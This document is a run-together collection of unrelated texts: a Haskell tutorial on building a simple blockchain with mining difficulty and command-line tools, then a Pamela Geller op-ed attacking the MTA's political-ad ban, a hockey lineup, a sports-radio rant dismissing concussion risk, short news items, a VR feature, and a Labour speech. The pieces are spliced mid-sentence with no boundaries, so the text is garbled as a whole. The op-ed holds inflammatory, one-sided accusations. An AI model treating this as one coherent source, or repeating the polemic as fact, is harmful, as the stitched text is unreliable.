import Crypto.Hash ( hashlazy ) mineOn :: TransactionPool -> Account -> Blockchain -> IO Blockchain mineOn pendingTransactions minerAccount parent = do ts <- pendingTransactions let block = Block ( V. fromList ts ) let header = BlockHeader { _miner = minerAccount, _parentHash = hashlazy $ encode parent } return $ block :< Node header parent
And here’s how to test that this actually works:
testMining :: IO Blockchain testMining = do let txnPool = return [] chain <- makeGenesis chain <- mineOn txnPool 0 chain chain <- mineOn txnPool 0 chain chain <- mineOn txnPool 0 chain chain <- mineOn txnPool 0 chain chain <- mineOn txnPool 0 chain return chain -- GHCI > chain <- testMining Block [] :< Node ( BlockHeader { _miner = Account 0, _parentHash = efb3febc87c41fffb673a81ed14a6fb4f736df79 }) ( Block [] :< Node ( BlockHeader { _miner = Account 0, _parentHash = 2 accb557297850656de70bfc3e13ea92a4ddac29 }) ( Block [] :< Node ( BlockHeader { _miner = Account 0, _parentHash = f51e30233feb41a228706d1357892d16af69c03b }) ( Block [] :< Node ( BlockHeader { _miner = Account 0, _parentHash = 0072e83 ae8e9e22d5711fd832d350f5a279c1c12 }) ( Block [] :< Node ( BlockHeader { _miner = Account 0, _parentHash = c259e771b237769cb6bce9a5ab734c576a6da3e1 }) ( Block [] :< Genesis ))))) > encode chain " \NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\SOH\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\DC4\239\179\254\188\135\196\US\255\182 s \168\RS\209 Jo \180\247\& 6 \223 y \NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\SOH\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\DC4 * \204\181 W)xPem \231\v\252 > \DC3\234\146\164\221\172 ) \NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\SOH\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\DC4\245\RS 0#? \235 A \162 (pm \DC3 W \137 - \SYN\175 i \192 ; \NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\SOH\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\DC4\NUL r \232 : \232\233\226 -W \DC1\253\131 -5 \SI Z' \156\FS\DC2\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\SOH\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\DC4\194 Y \231 q \178\& 7v \156\182\188\233\165\171 sLWjm \163\225\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL " > ( decode $ encode chain ) :: Blockchain Block [] :< Node ( BlockHeader { _miner = Account 0, _parentHash = efb3febc87c41fffb673a81ed14a6fb4f736df79 }) ( Block [] :< Node ( BlockHeader { _miner = Account 0, _parentHash = 2 accb557297850656de70bfc3e13ea92a4ddac29 }) ( Block [] :< Node ( BlockHeader { _miner = Account 0, _parentHash = f51e30233feb41a228706d1357892d16af69c03b }) ( Block [] :< Node ( BlockHeader { _miner = Account 0, _parentHash = 0072e83 ae8e9e22d5711fd832d350f5a279c1c12 }) ( Block [] :< Node ( BlockHeader { _miner = Account 0, _parentHash = c259e771b237769cb6bce9a5ab734c576a6da3e1 }) ( Block [] :< Genesis )))))
If you’re testing serialization code at home, you may prefer to use the base16-bytestring library to hex-encode your ByteString s:
> import qualified Data.ByteString.Base16.Lazy as BSL > chain <- testMining > BSL. encode $ encode chain 00000000000000000100000000000000000000000014 efb3febc87c41fffb673a81ed14a6fb4f736df79000000000000000001000000000000000000000000142accb557297850656de70bfc3e13ea92a4ddac2900000000000000000100000000000000000000000014f51e30233feb41a228706d1357892d16af69c03b000000000000000001000000000000000000000000140072e83ae8e9e22d5711fd832d350f5a279c1c1200000000000000000100000000000000000000000014c259e771b237769cb6bce9a5ab734c576a6da3e1000000000000000000
Note that it will probably be a PITA for a C programmer trying to follow our serialization/deserialization code because the byte-wrangling is hidden in a lot of really generic code. If you want to produce a spec for people to use(always a good idea), you’ll probably want to hand-roll your serialization code so it’s self-documenting.
Mining
There are a couple mining-related problems with this so-called blockchain:
People can have negative balances, so people can create a “scapegoat account” that they transfer unlimited amounts of money from. There is no transaction limiting, so someone could create a huge block and run our miners out of memory. We always mine empty blocks, so nobody can transfer money. There is no difficulty, so miners aren’t proving they’ve done any work.
I say that these are all mining problems because the code that miners run is going to deal with them.
#3 we’ll wait for Networking to solve. The rest we can do now.
To solve #1, we need account balances for anyone with a transaction that we’re mining a block for. Let’s go ahead and calculate all possible account balances:
blockReward = 1000 balances :: Blockchain -> M. Map Account Integer balances bc = let txns = toList $ mconcat $ toList bc debits = map ( \ Transaction { _from = acc, _amount = amount } -> ( acc, - amount )) txns credits = map ( \ Transaction { _to = acc, _amount = amount } -> ( acc, amount )) txns minings = map ( \ h -> ( _minerAccount h, blockReward )) $ headers bc in M. fromListWith ( + ) $ debits ++ credits ++ minings
And then once we have a parent blockchain, we know how to filter out the invalid transactions:
validTransactions :: Blockchain -> [ Transaction ] -> [ Transaction ] validTransactions bc txns = let accounts = balances bc validTxn txn = case M. lookup ( _from txn ) accounts of Nothing -> False Just balance -> balance >= _amount txn in filter validTxn txns
To solve #2, I’ll let the current miner choose however many transactions he wants to put in his block. That means I’ll put a constant globalTransactionLimit = 1000 at the top that we’ll use when mining, but we won’t verify past blocks using it.
To solve #4, we need to add a nonce field to our BlockHeader that the miner can increment until he finds a good hash. We’ll make it an arbitrarily-large integer to avoid the scenario that no nonce values yield a sufficiently-difficult hash. And since we want to adjust our difficulty so blocks take roughly the same time to mine, we’ll store a timestamp in the header.
import Data.Time.Clock.POSIX -- Add new fields data BlockHeader = BlockHeader { _miner :: Account, _parentHash :: HaskoinHash, _nonce :: Integer, _minedAt :: POSIXTime } deriving ( Eq, Show ) -- Add serializers for POSIXTime instance Binary POSIXTime where get = fromInteger <$> ( get :: Get Integer ) put x = put $ ( round x :: Integer ) globalTransactionLimit = 1000 mineOn :: TransactionPool -> Account -> Blockchain -> IO Blockchain mineOn pendingTransactions minerAccount parent = do ts <- pendingTransactions ts <- return $ validTransactions parent ts ts <- return $ take globalTransactionLimit ts loop ts 0 where validChain bc = difficulty bc < desiredDifficulty parent loop ts nonce = do now <- getPOSIXTime let header = BlockHeader { _miner = minerAccount, _parentHash = hashlazy $ encode parent, _nonce = nonce, _minedAt = now } block = Block ( V. fromList ts ) candidate = block :< Node header parent if validChain candidate then return candidate else loop ts ( nonce + 1 ) difficulty :: Blockchain -> Integer difficulty = undefined desiredDifficulty :: BlockChain -> Integer desiredDifficulty = undefined
We enter loop and keep incrementing the counter and fetching the time until we find a candidate with the right difficulty. The actual difficulty of a Blockchain is just its hash converted to an integer:
import Crypto.Number.Serialize ( os2ip ) difficulty :: Blockchain -> Integer difficulty bc = os2ip $ ( hashlazy $ encode bc :: HaskoinHash )
How do we know what the right difficulty is? To start with, we’ll calculate the average time-between-blocks for the last 100 blocks:
numBlocksToCalculateDifficulty = 100 blockTimeAverage :: BlockChain -> NominalDiffTime blockTimeAverage bc = average $ zipWith ( - ) times ( tail times ) where times = take numBlocksToCalculateDifficulty $ map _minedAt $ headers bc headers :: BlockChain -> [ BlockHeader ] headers Genesis = [] headers ( _ :< Node x next ) = x : headers next average :: ( Foldable f, Num a, Fractional a, Eq a ) => f a -> a average xs = sum xs / ( if d == 0 then 1 else d ) where d = fromIntegral $ length xs
Let’s have a target time of 10 seconds. Suppose blockTimeAverage bc gives 2 seconds, so we want blocks to take 5 times as long: adjustmentFactor = targetTime / blockTimeAverage bc = 5. Which means we want only 1/5 of the originally-accepted blocks to be accepted.
Since hashes are uniformly-distributed, 1/5 of the original hashes are less than originalDifficulty / 5, which will be our new difficulty. That’s what Bitcoin does: difficulty = oldDifficulty * (2 weeks) / (time for past 2015 blocks).
genesisBlockDifficulty = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF targetTime = 10 -- BEWARE: O(n * k), where k = numBlocksToCalculateDifficulty desiredDifficulty :: Blockchain -> Integer desiredDifficulty x = round $ loop x where loop ( _ :< Genesis ) = genesisBlockDifficulty loop x @ ( _ :< Node _ xs ) = oldDifficulty / adjustmentFactor where oldDifficulty = loop xs adjustmentFactor = min 4.0 $ targetTime ` safeDiv ` blockTimeAverage x
Here are a few recent mining times using these calculations:
> exampleChain <- testMining > exampleChain <- mineOn ( return [] ) 0 exampleChain -- Repeat a bunch of times > mapM_ print $ map blockTimeAverage $ chains exampleChain 6.61261425 s 6.73220925 s 7.97893375 s 12.96145975 s 10.923974 s 9.59857375 s 7.1819445 s 2.2767425 s 3.2307515 s 7.215131 s 15.98277575 s
They hover around 10s because targetTime = 10.
Persistence
We’ll save the blockchain on disk, and give people 3 tools:
A tool to mine blocks and create a new chain
A tool to list account balances
The first tool is the miner:
{-# LANGUAGE NoImplicitPrelude, OverloadedStrings #-} module Haskoin.Cli.Mine where import Haskoin.Mining import Haskoin.Serialization import Haskoin.Types import Protolude import System.Environment import Data.Binary import qualified Data.ByteString.Lazy as BSL import System.Directory import Prelude ( read ) defaultChainFile = "main.chain" defaultAccount = "10" main :: IO () main = do args <- getArgs let ( filename, accountS ) = case args of [] -> ( defaultChainFile, defaultAccount ) [ filename ] -> ( filename, defaultAccount ) [ filename, account ] -> ( filename, account ) _ -> panic "Usage: mine [filename] [account]" swapFile = filename ++ ".tmp" txnPool = return [] account = Account $ read accountS forever $ do chain <- loadOrCreate filename makeGenesis :: IO Blockchain newChain <- mineOn txnPool account chain encodeFile swapFile newChain copyFile swapFile filename print "Block mined and saved!" loadOrCreate :: Binary a => FilePath -> ( IO a ) -> IO a loadOrCreate filename init = do exists <- doesFileExist filename if exists then decodeFile filename else do x <- init encodeFile filename x return x
The second one prints all of the account balances
{-# LANGUAGE NoImplicitPrelude, OverloadedStrings #-} module Haskoin.Cli.ListBalances where import Haskoin.Mining import Haskoin.Serialization import Haskoin.Types import Protolude import System.Environment import Data.Binary import qualified Data.Map as M import qualified Data.ByteString.Lazy as BSL defaultChainFile = "main.chain" main :: IO () main = do args <- getArgs let ( filename ) = case args of [] -> ( defaultChainFile ) [ filename ] -> ( filename ) _ -> panic "Usage: list-balances [filename]" chain <- decodeFile filename :: IO Blockchain forM_ ( M. toAscList $ balances chain ) $ \ ( account, balance ) -> do print ( account, balance )
Here’s its output:
$ stack exec list - balances ( Account 10, 23000 )
So I’ve apparently mined 23 blocks just testing stack exec mine.
Conclusion
We developed a simple blockchain data structure. You can browse the repository on Github.
Future Haskoin-related articles may cover
Using networking and concurrency primitives to set up a peer-to-peer network.
Securing accounts in wallets, so other people can’t transfer money out of your account.
Building a ‘blockchain explorer’ website
GPU-accelerating our hashing
FPGA-accelerating our hashing
Future cryptocurrency-related articles may cover:A century of free speech in New York’s most public square — the streets, the buses, the subways — came to a screeching halt last Wednesday when the Metropolitan Transit Authority (MTA) voted to ban all issue and political advertising, solely in order to silence me.
The meeting kicked off with discussion about the MTA’s billion-dollar debt. Still, this irresponsible and totalitarian vote against political ad revenue was voted in. What’s interesting, but not surprising, was what MTA Board member Charles Moerdler, an attorney for the notorious leftist United Federation of Teachers, inadvertently revealed about why the ban was being considered. Moerdler’s rant was not about the anti-Hamas ads that the court had ordered the MTA to run. No, in a vicious and disgusting tirade, he attacked our ads that expose his pals, wealthy Jewish donors who support Boycott, Divestment, and Sanctions initiatives against Israel.
Moerdler railed against our ads exposing wealthy donors’ support of the New Israel Fund, which supports BDS organizations, shrieking about lashon hara, the Hebrew term for defamatory speech about another person. Actually, truth is not lashon hara; calling me an egomaniac and a zealot, as Moerdler did in his remarks, is. Calling our ads “filth,” Moerdler made no mention of the damage and destruction of BDS to the Jewish state. Yet even an Israeli court ruled that funding BDS was terrorism. Moerdler and his country club buddies are OK with that, but a “zealot” calling them out about it is “filthy.” And after several board members stood in defense of free speech, Moerdler berated us again with his “filthy” mouth.
Moerdler used the Holocaust and Mein Kampf as examples of why free speech should be banned — but it was because free speech was banned that totalitarianism was able to spread in Germany. If the Nazis had allowed free speech, they would never have remained in power as long as they did. His flaunting of being a Holocaust survivor was simply evil. Moerdler has previously argued that it’s “morally wrong” to put out inaccurate information, which is exactly what this dishonest fascist did Wednesday.
Watch his villainous remarks here and here.
The ugliness of Moerdler’s remarks was surpassed by MTA Board Member Ira Greenberg, who said that my ads “make me want to strangle the life out of the person who took them out.” And I’m the hater? Hey, Ira, if that MTA thing doesn’t work out, maybe you can get a job with ISIS.
Between Moerdler and Greenberg, they ought to be jailed for their hate speech.
Moerdler’s libels and lies are “tolerant.”
Greenberg’s death threats are “tolerant.”
Baltimore burning is “free speech.”
But our ads get banned. Got it? We are marching to totalitarianism. Watch the entire deluded circus here.
It was a circus because the five public speakers, including me, all spoke in defense of free speech, opposing the ban, yet the ban still carried. Every MTA Board member who spoke in the executive session, with the exception of the power-mad Moerdler, spoke in defense of free speech. Moerdler was the only one on record to support the ban. The fascist cowards who voted for the ban did not go on the record. They knew. The vote for the ban passed — a craven sore loser move in light of our AFDI victory in court last week, when a federal judge ruled that our ads criticizing Hamas must run.
Clearly the fix was in before this meeting ever took place. The vote was obviously a fait accompli. When it came in, approving the ban despite the overwhelming support for free speech, Moerdler’s grin was perfectly evil. One can only imagine the pats on the back over brandy and cigars. And now, the enemies of freedom are rejoicing across the world.
It also bears mentioning that when I spoke, they cut my mic. They did not do that to anyone else. What are they so afraid of?
This is a classic case of the powerful trumping the rights of the common man so as to protect their little club. The political and media elites only allow the public discourse to fall within a certain political spectrum. My ads drove them crazy because they fell outside of that spectrum; I was vaulting over their controls and bringing truths to the public that they didn’t want known. They had to move to shut me down.
Don’t think for one second that this is a defeat for me. I’ll continue to do the work with more gusto. Even though the ban was put in place solely because of me, it is a stunning assault upon First Amendment rights in general. Even Board members expressed real concern that the ban would be challenged and overturned. We aren’t the only ones who see the problem with this: Christopher Dunn, associate legal director for the New York Civil Liberties Union, said: “It is unconscionable that you are thinking about barring all political ads from the transit system.”
New York City is the capital of the free world. The world looks to us. What message did the MTA send Wednesday? Every city will follow suit. It was a dark day for freedom but have no fear. But this is not over. Not by a long shot. We have already begun to pursue this legally; our lawyers David Yerushalmi and Robert Muise have already written to the MTA asking that our ads be put up forthwith, as they are not political.
And if we ultimately lose, it is no understatement to say that the freedom of speech and free society in the West is lost. And horribly enough, it will be, as predicted by jihadists and the hundreds of Muslims groups named in the largest terrorist funding trial in our nation’s history, “by its own hand,” as the Muslim Brotherhood itself put it:“The Ikhwan must understand that their work in America is a kind of grand Jihad in eliminating and destroying the Western civilization from within and ‘sabotaging’ its miserable house by their hands and the hands of the believers so that it is eliminated and God’s religion is made victorious over all other religions.” (More here.)
The rich and powerful trumped our unalienable rights in New York City, April 29, 2015.
But rewarding savagery with capitulation and fear will only bring more bloodshed and more terror. You haven’t seen anything yet.
Pamela Geller is the President of the American Freedom Defense Initiative (AFDI), publisher of PamelaGeller.com and author of The Post-American Presidency: The Obama Administration’s War on America and Stop the Islamization of America: A Practical Guide to the Resistance. Follow her on Twitter here. Like her on Facebook here.The Pittsburgh Penguins and St. Louis Blues will celebrate Belle Vernon, PA winning the 2017 Kraft Hockeyville USA contest with a full day of activities on Sunday, September 24.
This year's Kraft Hockeyville USA celebration will culminate with an NHL preseason game between the Penguins and St. Louis Blues at 8:00 p.m. at the UPMC Lemieux Sports Complex in Cranberry. All tickets for that contest have been distributed to the Belle Vernon community. The game will be nationally televised on NBCSN.
Fans making the trek from Belle Vernon to Cranberry on Sunday night will get to watch a Penguins' lineup that will include reigning back-to-back Conn Smythe Trophy winner Sidney Crosby, three-time Stanley Cup champions Evgeni Malkin and Kris Letang, and two-time champs Phil Kessel and Matt Murray. All but Murray will be making their 2017-18 preseason debuts.
Below is the complete Penguins' game lineup for Sunday's Kraft Hockeyville USA game against St. Louis:
No. Name Position 4 Justin Schultz D 8 Brian Dumoulin D 19 Garret Wilson F 27 Kevin Czuczman D 32 Lukas Bengtsson D 37 Carter Rowney F 43 Conor Sheary F 46 Zach Aston-Reese F 49 Dominik Simon F 53 Teddy Blueger F 55 Chris Summers D 58 Kris Letang D 59 Jake Guentzel F 62 Carl Hagelin F 71 Evgeni Malkin F 75 Ryan Reaves F 81 Phil Kessel F 87 Sidney Crosby F 30 Matt Murray G 31 Antti Niemi G
Those Penguins' players not participating in the Kraft Hockeyville USA game will practice on Sunday morning at 11:00 AM at the Rostraver Ice Garden in Belle Vernon, PA. Upon arrival at practice in Belle Vernon, all players will participate in a red carpet ceremony.
Assistant coaches Mark Recchi and Sergei Gonchar will run the Sunday morning practice at Rostraver Ice Garden. The lineup that morning includes eight players with Stanley Cup rings, including five two-time champions in Bryan Rust, Olli Maatta, Ian Cole, Scott Wilson and Tom Kuhnhackl.
Sunday's practice at Rostraver Ice Garden is a ticketed event, and all tickets have already been distributed to the Belle Vernon community. Penguins' players Bryan Rust, Scott Wilson, Olli Maatta and Ian Cole, plus Recchi and Gonchar will help conduct a clinic for Rostraver youth hockey players after the practice. Injured forward Patric Hornqvist will also be on hand for the festivities.
Below are the players who will be participating in Sunday morning's practice at Rostraver Ice Garden:Dante Chinni heads the American Communities Project at American University and writes the Politics Counts blog for the Wall Street Journal. He is the author of Our Patchwork Nation.
Sometime this summer—at long last— |
policy, I can’t discuss that.
Q: You stumbled after that play, but you stayed in the game. Does that mean you were not injured?
A. Next question.
Q: Were you tested for a concussion?
A: I went through all the protocols.
Despite the ambiguity of Edelman’s answer, some people took these comments to mean that Edelman definitely did suffer a concussion yet remained in the game. In fact, Dan Shaughnessy went so far as to call it a “disturbing” situation.
“His answer sounded like, ‘Yes, I had a concussion, I got a concussion, but I stayed out there.’ That’s what it sounded like to me,” Shaughnessy said on CSNNE. “That feels like a really bad message in the climate we’re talking about with youth sports, getting people to address this and get off the field, get off the ice, whatever, don’t be a hero. And did they win the Super Bowl because a guy was a hero and stayed out there? That hit’s unbelievable. Did the Patriots follow the correct protocol? And who signs off on these guys going back on the field? Nobody wants to hear it. This is like, everybody loves to eat hot dogs, but nobody wants to know how they’re made. And this is the NFL, I understand that. They won the Super Bowl — great. But I thought that was disturbing.”
Zolak, who does not believe Edelman’s cognitive abilities were impaired during the Super Bowl, could not take it. He screamed “Oh my God, it’s football!” when Trenni Kusnierek and Shaughnessy discussed the brutality of the hit, and once the clip was over, Zo let it rip. Here’s what he said:
Disturbing?! Go to spring training! Go sit there and watch long toss! How about that? Go sit there and talk about the old style game with Steve Buckley!
You want to know what the message is? The message is “Drop your nuts, kids.”
The message is “Get back in the game, because it is the biggest stage.” The message is “Don’t do what Doug Baldwin did.” The message is “Go catch the freaking game-winner and then go to Disneyland and then go to Vegas and then go to Fallon and then go to Kelly and Michael. Who’s the dude with the gap tooth? Michael Strahan, right? How about do that? And then go and hang out with Jay-Z, go to Roc-A-Wear, how about that for your message? How about “Go be a hero” instead of the pussification of our damn society?
“Ooh, I cringe!”
Oh my God, it’s football. You’re playing the freaking Legion of Boom. That is Kam Chancellor.
You know what makes me sick? I had to sit here after that awful Denver appearance in the Super Bowl last year, and you [Bertrand] weren’t even on the show. Because what did the afternoon show want? They want Kam Chancellor, right? “We need more hard-hitting safeties like that,” right? Now all of a sudden, Kam Chancellor last year was the be-all. He was the guy. “That’s how you play safety. That’s what the Patriots need.” Right? You sat there and had to take it. Didn’t ya?
Kam Chancellor. You guys wanted Kam Chancellor. Well you got him. Now all of a sudden it’s, “Ooh, we’re cringing! Ooh, it’s disturbing! What’s the message?”
Here’s the message: You won the damn thing. That’s four in [14] years.
God, that pisses me off. … I’ve been waiting for this. That’s what happens on slow days.
…
Did you see him need help? Remember the sweep that Danny Amendola ran last year, and he got knocked out on the left sideline and both arms are down flapping and we don’t know where the ball is and he gets picked up and people have to show him to the sideline? Now that guy, you take him and get him out. Obviously, he got knocked out.
But there are dings that happen every single freaking play of the football game, and guys get their bell rung. And that’s what happened with Edelman.
To think he got knocked into next week — I mean, he knew the damn dig route, the in and the return was coming back, and Brady airmailed one off him two drives prior. Edelman could not function in that situation if he had a concussion.
Listen to Zolak’s rant below:
Tune in to Zolak & Bertrand weekdays 10 a.m.-2 p.m. on 98.5 The Sports Hub!'Learn to park s***bag!' Neighborhood vigilante spray paints rude messages on cars on crowded New York street
V andal in Glendale, Queens, targeted two cars that w ere taking up too much space on the street and not allowing others to park
A vigilante has taken it on himself to enforce parking rules on the streets of his crowded Queens, New York, neighborhood - by tagging the offending cars with spray paint.
The anonymous vandal marked up at least two cars in Glendale with rude messages this weekend.
One message, scrawled across the door panels of a perceived offender, read 'Park right s-bag.'
The other tag blared: 'Learn to park s***bag!'
Rude: A vigilante marked up two cards with angry messages because he believed they were taking up too much room on the street
Neighbors say parking in the area is a nightmare - but it doesn't excuse what the vandal did
WCBS-TV reports that the vigilante likely thought the cars were taking up too much space on the street and had not left enough room for others to park.
Residents of Glendale say on-street parking is a nightmare - but that doesn't give the vandal to right to tag other people's cars with paint.
'Nobody has a right to touch your property,' neighbor Dorren Pratt told WCBS.
She said she saw one of the cars that had been hit by the vigilante and she didn't think the driver had done anything wrong with their parking job.
Suspect: This is believed to be the vandal, captured here on surveillance cameras carrying what appears to be a can of spray paint
'There was no way another car would have fit there. A smart car was even too big for it,' Ms Pratt told the station.
The driver of one of the tagged cars told WCBS that she knows hard difficult it is to find a spot in the neighborhood and she didn't think she would being inconsiderate.THE HAGUE, Netherlands -- Dutch police have rejected claims by a black American lawyer working at the United Nations’ highest court that she was a victim of racially motivated brutality by officers in The Hague.
In a Facebook post that had been taken down Friday, Chaka Laguerre wrote that she was violently arrested by two Hague police officers after they spotted her jaywalking on Tuesday morning.
In the post, copies of which can still be found online, Laguerre wrote that being a lawyer at the International Court of Justice “did not save my black body from racially-motivated police brutality.”
Laguerre complained of violent and heavy-handed action by the two male officers who detained her after stopping her for dangerously crossing a road and asking her for her ID. Police countered that she resisted arrest and was ultimately taken to a cell and charged with not showing a valid ID. She was not charged for resisting arrest, police said.
Hague police chief Paul van Musscher visited the court Thursday to complain about the post and show surveillance video footage of the incident, police spokeswoman Chantal Marges said, adding that it is now up to the court to decide if any further action should be taken.
The court had no comment Friday and Laguerre could not immediately be reached for comment.
In an unusual step, the Hague police department posted an English language statement online countering the claims.
“The police emphasizes the fact the woman was arrested as a result of her dangerous traffic behavior,” the statement said. “The woman’s accusation that the incident involved racism and violent action by the police is completely unfounded.”Being a technology journalist means spending most of your life telling friends and family which smartphone they should buy next. Then there are the demands to fix everyone's email, the looks of bemusement when you try to show off a smartwatch and that weird moment when you just don't want to play video games anymore.
But every so often something truly amazing comes along. Something so innovative and so unlike anything anyone has seen before that it borders on magical. A product that drags us jaded tech hacks out of our futuristic bubble and drops us with a bang into the here-and-now. That's a very good thing because the here-and-now is where normal people are experiencing VR for the very first time − and they are being blown away by it.
At IBTimes UK we recently had the HTC Vive set up in a meeting room for a week with a full roster of virtual reality games to try out. While us tech journalists got a kick out of setting the whole thing up, then playing to check how this consumer version differs to the developer kit we played months ago, the rest of the office nearly lost their minds.
A love affair with virtual reality
The IBTimes UK love affair with Vive started slowly. A few curious glances into the meeting room as we set everything up; an office manager wondering why we needed the room for an entire week. As we were primed and ready to write reams about how it compares to Gear VR and Oculus Rift, a colleague admitted he wasn't quite sure what VR stood for. Perhaps the tech bubble we inhabit isn't as transparent as we thought. Most people's grasp of technology starts and ends with their smartphone; for these people VR, any VR, is something otherworldly.
Knowing full well how dull a video of us lot trying out Vive would look, pretending to get excited about something we've seen before, we recruited colleagues to try it out on camera. What began as a few timid requests to help us with a bit of nerdy filming ended with queues out of the door. Our geeky little review session had turned into a social event where many were trying a ground-breaking new technology for the very first time.
Every time the Vive headset was lifted, it revealed wide eyes and a beaming smile. Shock too, as players often got so caught up in a simple game of golf or tennis that they had completely lost track of where in the room they were facing.
Freaking out over Surgeon Simulator
Robbing the user of their hearing, sight and spacial awareness, you would expect VR to be a lonely way to game, but the opposite is true. As one player leapt into a virtual world, colleagues gathered at the windows and came in to take photos, record video and share this bizarre scene online. They were detached and isolated in a way only beaten by sleep, yet somehow they were also the centre of attention; the one we all watched intently and laughed along with as they freaked out over Surgeon Simulator.
Watching someone play a video game is fun enough, but watching someone experience something truly amazing for the first time is a very special moment indeed.
Living in the future
It reminded us that our job puts us, jaded or not, on the very bleeding edge of technology. We forget this all too often but this funny thing we call employment means we're almost literally living in the future, trying out tech weeks or even months before it goes on sale and perhaps in the case of Vive, years or even a decade, before it becomes mainstream.
Annual smartphone updates with minimal improvements and ever-increasing price tags have bored us all into a life of update cycles that convince us to part with £600 every 12 months to have the newest, thinnest and lightest version yet. But if we step back and spend a minute looking at the wider technology landscape, we see genuine innovation leaving our smartphones for dead.
Every new iPhone or Samsung Galaxy is a momentous occasion on the technology calendar, but VR and the Vive are something else. These aren't just annual launch dates to count down to the days to, these are landmark events on a 10-year calendar.This is the full text of the speech Yvette Cooper MP gave at our annual summer conference today.
This is the full text of the speech Yvette Cooper MP gave at our annual summer conference today.
Thank you Andy for inviting me to speak to you today.
Britain’s oldest political think tank at the forefront of the future fight for social justice.
A society founded against a backdrop of the Match Girls’ strike and London Dock strike, united in its rejection of political violence in favour of democracy and trade unionism as an engine for change.
The thinkers of our movement.
The doers too.
So let me start by saying thank you for the work so many of you did in this election.
Thanks to your hard work, to Jeremy Corbyn, the Shadow Cabinet, Labour candidates and Labour members across the country, we have 30 more Labour MPs, 22 new Labour women MPs. Women now 45 per cent of Labour MPs. We now have our most ethnically diverse parliament – with 27 ethnic minority Labour MPs and more out LGBT MPs than ever before. Winning back seats in Scotland, in Wales and in parts of England that have never had a Labour MP before.
Because more people voted Labour:
the vote to bring back fox hunting has been ditched
the plan to bring back grammar schools has been dropped
we’ve stopped them abolishing free school meals
we’ve stopped them abandoning winter fuel payments
and thanks to Stella Creasy’s amendment Northern Irish women needing an abortion in Britain will no longer be forced to pay £900
So don’t tell me voting Labour doesn’t make a difference. Already those Labour votes have changed lives.
But we know it isn’t yet enough.
The Tories are still in government even if they aren’t properly in power. Their weakness is making them desperate. For our country, their desperation makes them dangerous.
Already Theresa May has proved ready to play fast and loose with the Northern Ireland peace process just to protect her position.
They found a billion pounds to stay in power.
But nothing more for public sector staff.
A billion pounds to end austerity in Northern Ireland.
But what about the schools, hospitals and police everywhere else?
One Yorkshire woman told me her elderly mother died of the cold this winter. In 2017. In hospital. Staff shortages so severe, she waited for hours getting cold in A&E, then in a draughty corridor. She caught hypothermia.
The poorest families lose over £2,000 from Universal Credit cuts this year.
While rich investors gain over £2,000 from capital gains tax cuts this year.
Still a Tory government, a Tory, Tory government.
So here’s our challenge now.
To use the hung parliament the voters have delivered.
To hound government ministers for every dangerous move they make.
To halt every mad policy they try to impose.
To challenge their lack of mandate and their lack of a majority as our Shadow Cabinet have done every day this week –
John Ashworth on nurses pay
Keir Starmer on Euratom and Europol
Angela Rayner on school budget cuts
And let me put the Government on notice now.
This week we heard the story of a teenage refugee who fled from ISIS in Iraq. He had a legal right to join his uncle who lives in Manchester. But when the Home Office interviewed him in Dunkirk, they didn’t tell him his rights, didn’t ask his circumstances, they just sent him back to a fetid, dangerous camp.
So then he hid under the axel of an articulated lorry all the way to Oxfordshire – where he died under its wheels as he tried to get out.
He had a legal right to be here, should have had the chance to be safe.
So let me give notice; I will seize any chance we get in this hung parliament to reinstate the Dubs amendment so our country stops turning its back on child refugees.
Politics matters.
It’s why on a hot Saturday in July, hundreds of us gather for the Fabians conference. Out on the street, thousands are celebrating Pride.
And it’s certainly unpredictable.
A new French president in his thirties with a landslide Parliament who six months ago didn’t even have a party.
A billionaire reality TV star elected as US president.
Elected after the FBI said they were investigating his opponent.
Now Congress and the FBI are investigating him.
We’ve a prime minister who called an election to get a landslide and ended up with a hung parliament.
Who started the general election campaign more than 20 points ahead. And three months on is now 8 points behind.
Who promised us strong stable leadership under the Tories and warned of a coalition of chaos under Labour.
Now Labour has the strong, stable leadership and the government is a coalition of chaos led by Theresa May.
And here’s the bit you really couldn’t make up.
Our Labour leader at Glastonbury to cheers and roars.
Our last Labour leader on Radio 2 learning Death Metal roars.
The former chancellor editing the Evening Standard.
The former shadow chancellor dancing Gangnam style dressing up as a Korean popstar.
The kids tell me it could be worse. It could be Love Island next.
All these men enjoying their midlife crises.
While the rest of us have to cope while politics is going through a midlife crisis too.
It is an uncertain time.
Theresa May called a referendum on herself and lost it.
The Tories have lost their mandate, lost consensus in the country, lost any consensus even amongst themselves.
It feels like October 1992 after Black Wednesday. John Major’s government lost support, lost its authority and sense of purpose. But it still clung onto power for another four and a half years.
Both the Brexit vote and the general election show the powerful yearning for change.
But the Tories can’t deliver it.
They can’t pull the country together. All they do is divide us.
So Labour must.
Today’s conference is Pathway to Power.
So here’s a starter for four – four things for Labour to do next, the first two the obvious, the second two crucial to who we are.
First the task of holding the new voters we inspired, whilst reaching out beyond them to others we lost – and staying a broad based party to do it
Second to chart a course for a progressive Brexit – the most important challenge facing our country over the next two years that will scar us for years to come if we let the Tories get it wrong
Third to overcome the new and growing divide in Britain between city and town
Fourth to make sure that the new politics – and especially our politics – is kinder, gentler and democratic.
Most inspiring of all in this general election has been the powerful emergence of young voices that have been silent in our democracy for too long.
It is tribute to Jeremy and the campaign he ran that in this general election young people turned out like never before. That they talked of hope and optimism for the future.
We have to ensure each new generation keeps believing in the power of political change and the power of Labour to help them build a better future.
Our manifesto rightly championed new investment in our overstretched schools, hospitals and police, and a pay rise for hard pressed public sector staff. That helped us win support among thirty and forty somethings too – those wanting better schools for their children and an NHS to rely on, as well as those worried by hard Brexit.
George Osborne may be enjoying himself running headlines attacking Theresa May’s dreadful government – but people were voting against his failed austerity budgets, not just her weak leadership.
